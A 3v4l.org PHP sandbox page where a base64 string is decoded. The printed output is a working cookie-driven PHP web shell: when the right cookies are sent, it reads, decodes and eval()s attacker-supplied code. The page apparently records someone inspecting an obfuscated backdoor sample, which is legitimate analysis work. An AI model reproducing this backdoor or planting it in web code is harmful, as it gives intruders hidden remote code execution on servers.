3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var);
Output for 7.1.0RC3 - 7.1.0
$c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';
Output for 4.3.0 - 5.6.21, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0alpha1